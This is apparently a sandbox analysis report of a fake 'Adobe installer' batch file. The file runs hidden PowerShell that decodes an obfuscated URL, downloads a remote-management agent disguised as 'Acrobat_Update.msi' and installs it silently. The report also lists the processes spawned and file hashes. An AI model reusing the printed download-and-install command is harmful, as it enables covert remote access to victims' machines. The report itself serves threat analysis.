description pid Process procid_target PID 4776 wrote to memory of 1196 4776 cmd.exe 88 PID 4776 wrote to memory of 2968 4776 cmd.exe 89 PID 2968 wrote to memory of 1812 2968 net.exe 90 PID 4776 wrote to memory of 4196 4776 cmd.exe 91 PID 4776 wrote to memory of 572 4776 cmd.exe 92 PID 2920 wrote to memory of 2648 2920 msiexec.exe 94 PID 2920 wrote to memory of 5616 2920 msiexec.exe 95 PID 5688 wrote to memory of 3432 5688 action1_agent.exe 98 PID 5688 wrote to memory of 2652 5688 action1_agent.exe 100 PID 4776 wrote to memory of 1496 4776 cmd.exe 102 PID 2652 wrote to memory of 1588 2652 powershell.exe 107 PID 5688 wrote to memory of 6120 5688 action1_agent.exe 108 PID 5688 wrote to memory of 1172 5688 action1_agent.exe 111 PID 1172 wrote to memory of 4688 1172 powershell.exe 113 PID 5688 wrote to memory of 3360 5688 action1_agent.exe 114 PID 5688 wrote to memory of 3656 5688 action1_agent.exe 116 PID 3656 wrote to memory of 6128 3656 powershell.exe 118 PID 5688 wrote to memory of 764 5688 action1_agent.exe 119 PID 5688 wrote to memory of 560 5688 action1_agent.exe 121 PID 5688 wrote to memory of 5924 5688 action1_agent.exe 123 PID 5688 wrote to memory of 3168 5688 action1_agent.exe 125 PID 5688 wrote to memory of 4080 5688 action1_agent.exe 127 PID 5688 wrote to memory of 2796 5688 action1_agent.exe 129 PID 5688 wrote to memory of 5228 5688 action1_agent.exe 157 PID 5688 wrote to memory of 4316 5688 action1_agent.exe 133 PID 5688 wrote to memory of 6080 5688 action1_agent.exe 135 PID 5688 wrote to memory of 4464 5688 action1_agent.exe 187 PID 5688 wrote to memory of 3352 5688 action1_agent.exe 169 PID 5688 wrote to memory of 2024 5688 action1_agent.exe 141 PID 5688 wrote to memory of 1476 5688 action1_agent.exe 143 PID 5688 wrote to memory of 6032 5688 action1_agent.exe 145 PID 5688 wrote to memory of 3180 5688 action1_agent.exe 147 PID 5688 wrote to memory of 1888 5688 action1_agent.exe 149 PID 1888 wrote to memory of 3084 1888 powershell.exe 151 PID 1888 wrote to memory of 4600 1888 powershell.exe 152 PID 1888 wrote to memory of 4896 1888 powershell.exe 153 PID 1888 wrote to memory of 4408 1888 powershell.exe 154 PID 1888 wrote to memory of 6124 1888 powershell.exe 155 PID 1888 wrote to memory of 4128 1888 powershell.exe 156 PID 1888 wrote to memory of 5228 1888 powershell.exe 157 PID 1888 wrote to memory of 2484 1888 powershell.exe 158 PID 1888 wrote to memory of 4204 1888 powershell.exe 159 PID 5688 wrote to memory of 244 5688 action1_agent.exe 160 PID 5688 wrote to memory of 2072 5688 action1_agent.exe 162
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Quotation-+Adobe+installer.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4776 -
C:\Windows\system32\mode.commode con: cols=80 lines=252⤵PID:1196
-
-
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:2968 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:1812
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { $s='68747470733A2F2F6170702E65752E616374696F6E312E636F6D2F6167656E742F39613562316438342D363637372D313166312D613561382D3139333363666438353163392F57696E646F77732F6167656E74284D795F4F7267616E697A6174696F6E292E6D7369'; $bytes=@(); for($i=0;$i -lt $s.Length;$i+=2){ $bytes+=[byte]([Convert]::ToInt32($s.Substring($i,2),16)) }; $u=[System.Text.Encoding]::ASCII.GetString($bytes); $ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri $u -OutFile 'C:\Users\Admin\AppData\Local\Temp\Acrobat_Update.msi' -UseBasicParsing; Write-Host 'Download completed successfully.' } catch { Write-Host 'Download failed. Please check your internet connection.'; exit 1 }"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4196
-
-
C:\Windows\system32\msiexec.exemsiexec /i "C:\Users\Admin\AppData\Local\Temp\Acrobat_Update.msi" /quiet /qn /norestart /log "C:\Users\Admin\AppData\Local\Temp\Acrobat_Update.log"2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:572
-
-
C:\Windows\system32\timeout.exetimeout /t 5 /nobreak2⤵
- Delays execution with timeout.exe
PID:1496
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2920 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding F19A3F52467FC6157ADCEBB68CE1B6CD2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2648
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 617B1060E9A0B01EA0E6ABA799D01B24 E Global\MSI00002⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5616
-
-
C:\Windows\Action1\action1_agent.exeC:\Windows\Action1\action1_agent.exe service1⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5688 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3432
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2652 -
C:\Windows\Action1\action1_agent.exe"C:\Windows\Action1\action1_agent.exe" loggedonuser3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1588
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:6120
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1172 -
C:\Windows\Action1\action1_agent.exe"C:\Windows\Action1\action1_agent.exe" loggedonuser3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4688
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3360
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3656 -
C:\Windows\Action1\action1_agent.exe"C:\Windows\Action1\action1_agent.exe" loggedonuser3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:6128
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:764
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:560
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
PID:5924
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3168
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4080
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2796
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5228
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4316
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:6080
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4464
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3352
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2024
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:1476
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:6032
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:3180
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 213.155.157.2003⤵PID:3084
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 134.33.185.993⤵PID:4600
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 199.232.214.1723⤵PID:4896
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 18.159.245.293⤵PID:4408
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 150.171.110.1463⤵PID:6124
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 10.127.0.13⤵PID:4128
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 10.127.0.13⤵PID:5228
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 10.127.0.13⤵PID:2484
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 10.127.0.13⤵PID:4204
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:244
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:2072
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
PID:4732
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
PID:3888
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
PID:4148 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3352
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
PID:2476
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
PID:4276
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
PID:808
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
PID:260
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
PID:6060
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
PID:1472
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
PID:1372
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
PID:5376
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
PID:1144 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4464
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\SystemTemp\kzdwm5t1\kzdwm5t1.cmdline"3⤵PID:5020
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\SystemTemp\RES9A5D.tmp" "c:\Windows\SystemTemp\kzdwm5t1\CSC13D74177EA6748F5927E81F19B2CAFD.TMP"4⤵PID:2144
-
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
PID:5084
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
PID:2500
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
PID:4748
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
PID:3172
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
PID:5584
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e592053.rbs
- Size 240KB
- SHA256 00634bb87f2fdfeb51fb532cdfa6b4fcbd5591734055a1f2cadae99ec8c0e835
- MD5 56eafb5797422cd6b1861539f1a299fb
- SHA1 b95eb0ae2f1c02f04f94ee97331d15ae32e1c1df
- SHA512 08734ccc09040ec080bcfc5d92a9c4fde6a82fac71cc382126f6d1c0b0988203a8beda082c180523b2599e91a9aab4046e7e1d6c9d29a2e462c1fe7cb0260fd6
- SSDEEP 3072:AXiqyhTO8W0iEa8LW0bEC9hvZpC01v+eUKflQnZl+T+J7g6EsNr7wyy/IP3B:Aqhy8VKU3hvZUy+ppHEsuB/S
- TLSH T1B2349E217494547EEBFF0832953AD671AE3DF2380B90C96EC384581E6D618C1ABB7727
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Config.Msi\e592054.rbs
- Size 7KB
- SHA256 029b90dc885a7583368600e1106543e45d67528a54c0f1f19c7f6ec555de1bf0
- MD5 b70ebabb546b8f82cff1c14db6f95884
- SHA1 711304db1ac3817b424a0bd3b547e890f16a1bbe
- SHA512 cb09d6e1d3be2aff6b94248e5560e4fe756f2632c26a64312add613d5b86cf713551112d039bde182ff1c10d60a7c6a937cfd7731a2216a24fb60ee99bff2863
- SSDEEP 96:/yktPeqOv7XkUr1AiOliCsThqxBXkUr1AiOliC6jZS2dThqxaH+35fyG9tbktqZo:/3eRfShI2ShM+YS0/pJ
- TLSH T1D9E13101BA0042F3FA6A0735C3471F9937B2D2D943112B1B8DCDA664AF5BB8D6F951CA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Acrobat_Update.log
- Size 2B
- SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
- MD5 f3b25701fe362ec84616a93a45ce9998
- SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
- SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\Acrobat_Update.msi
- Size 6.8MB
- SHA256 71a1a9430f8410735f1b5578603f04a201a8271fa41e827878d976ceed10877b
- MD5 6b23406e1a84284f0fb2cdd7ddf6224e
- SHA1 ffbbee94ea866214908abb338c56798142309e0b
- SHA512 74ad857ed4de1477a425d1294f67713c0e013dc423688eecacd3f4102d4c68c36b46ad5fd7f34b9ae43bf58032c442e6f03ecd2567872009a6be4ffa3f1cf395
- SSDEEP 98304:lkMMwpD74pOTxPjLHLgk92Rdxmk69pa5SUOsFekLS57JkmPMETphToy0seQvsm:Glc4pkbLHLhObmXe/kdkmPDTs
- TLSH T1E2761221754E8C76C5AA363071769E7DDA7CBC305BA08BDB938339EE09315C052FDA92
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Action1\action1_agent.exe
- Size 8.9MB
- SHA256 941695d20d82dd5d62f74b0111feb23720637202f6c797df2a02e2cb6cb6e8e3
- MD5 e4f1f52a78f22dd2be17449ca6f8f0af
- SHA1 e9f385454fdddc7ae88431b8e02f4dfb7dd57b68
- SHA512 2d7ed519a9380e1574bbc55444420334bdd0792c7839a1be67607a4f81be79e52f6c4dd10141079a47dcf61552724c2b3f060f0f670bdea527dc130ba9aebac8
- SSDEEP 196608:KV1U3lnchqzhNpxSKyOBE2LeIzfAnOgOZ6aMkElWpRUn:KPoTVQYEseIzflZ6aMZORo
- TLSH T1D9968D21B641C135F9A301B29A7E4B6F853CBE30072555E7D3C858AE5AB19E33B32B17
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Action1\advanced_settings.json
- Size 54KB
- SHA256 028d21760dd2c0892fa6c1286eced0fe333009d820531121f1cdfd4dffd69862
- MD5 cbae5a801eb9b6918c59d174889121f7
- SHA1 623d193e792c22deeccbeec9a3ad551294b46d98
- SHA512 80e805fb357cc6bd81bc8a1f098439ab03f1ddd5df77efa6092783053d9645f2c518464cb04cceafbfa485e29b2d6b1df6ebeb90d59b84bcf95e7d4d3ba306e0
- SSDEEP 768:vXKnbhRgjUpQUfRQ3Lyhx48Utsp82qUgw6fCph8uP5K5DIK58EOKWbBoE3a+OQzK:2RoLE6xk+wkMdAeRcuM7
- TLSH T1D543AE16E4757DB104C2188C5FDB1AF7DA0E019642D906DE871CEEBF9AAF52C8102E9F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Action1\previousUser.txt
- Size 14B
- SHA256 fc2692a21a976d784353d63b6eb3cb2a8d6be25e4ee40faa14fd9e7377b6902d
- MD5 353a17baf208cb8c5d6d9cab75218eb7
- SHA1 17b76cfaa4cb50d118144517aba73c9d76c44f28
- SHA512 1a226359a58cf2ac340231215545e649556100ffc94a9243fd8f500d509f900da65f8cf1f64633ab0045f0e80deb0e75b8df3cd77f8ea8fcfb9904a9b87e2af4
- MD5 SHA1 SHA512
- Path C:\Windows\Installer\MSI5E62.tmp
- Size 387KB
- SHA256 ca5f0275e70ec5ba65b74c3da74f489018bc143c4c405fd8bbc6519eadac2a22
- MD5 4112820180a36753089ee5c0fdba1538
- SHA1 6366de1c2930886892aabf4b8ac55fd0bb4b91bb
- SHA512 eac55d5a5c723fb5bd85bdd1ee71a13497d677d2b45e58b6eed2f7e42760d2ba3d07e0cb2b622f7866da8492f8d3fdb02b6288f95b761f5b2e20d2e2098233d3
- SSDEEP 6144:ijVmAOn9DqwokBL+097OsOmceIpOaEPbyHiDO9EAFw:CmAOnRokBL17OsONeIshZAFw
- TLSH T18B848D01B542C032D5AE05B0B535EFB5AABDA9704FB468DBB7D40E7B8D302C1A735A1B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI5FDB.tmp
- Size 234KB
- SHA256 78860e15e474cc2af7ad6e499a8971b6b8197afb8e49a1b9eaaa392e4378f3a5
- MD5 8edc1557e9fc7f25f89ad384d01bcec4
- SHA1 98e64d7f92b8254fe3f258e3238b9e0f033b5a9c
- SHA512 d26c9dce3c3d17583ffb5dbcd3989f93b096a7f64a37a2701a474c1bf4b8c8b1e922c352d33f24e411f1c793e1b4af11a3aec1de489087d481b1b636df2050cd
- SSDEEP 3072:5XiqyhTO8W0iEa8LW0bEC9hvZpC01v+eUKflQnZl+T+J7g6EsNr7wyy/IP3:5qhy8VKU3hvZUy+ppHEsuB/
- TLSH T159348D217494547EEBFF0832953AD671AE3DF2380B90C96EC384581E6D618C1A7B7B27
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\SystemTemp\RES9A5D.tmp
- Size 1KB
- SHA256 ec9bfcb895d00cb9382894a6353573840021f1dab8f709d8e7ed0789d87584c9
- MD5 b98018dd2c85d16859d0d4e532da0a56
- SHA1 d6e3f1ec827cf4e113f18adbd643cee9726e3e73
- SHA512 c88e93ee9e309ae261312322e2722382a69c357ae2b6b0b7674e36f9e1367019304b5e12cd5538c6230558d45527b19982a9b01c59380ae465e396bc21ff06cd
- TLSH T10B213F0563FD471AF0B75731A8FE172B5624FD65DE7293AA4484121C2C51600DFB0BB5
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\SystemTemp\Tmp38F3.tmp
- Size 1KB
- SHA256 adc0f76cff5eb4eff1138ba7d25b9cb55414653155bbaf66f0228574bec732bd
- MD5 ea6f82c28ca2a3187c24d5ec53b62899
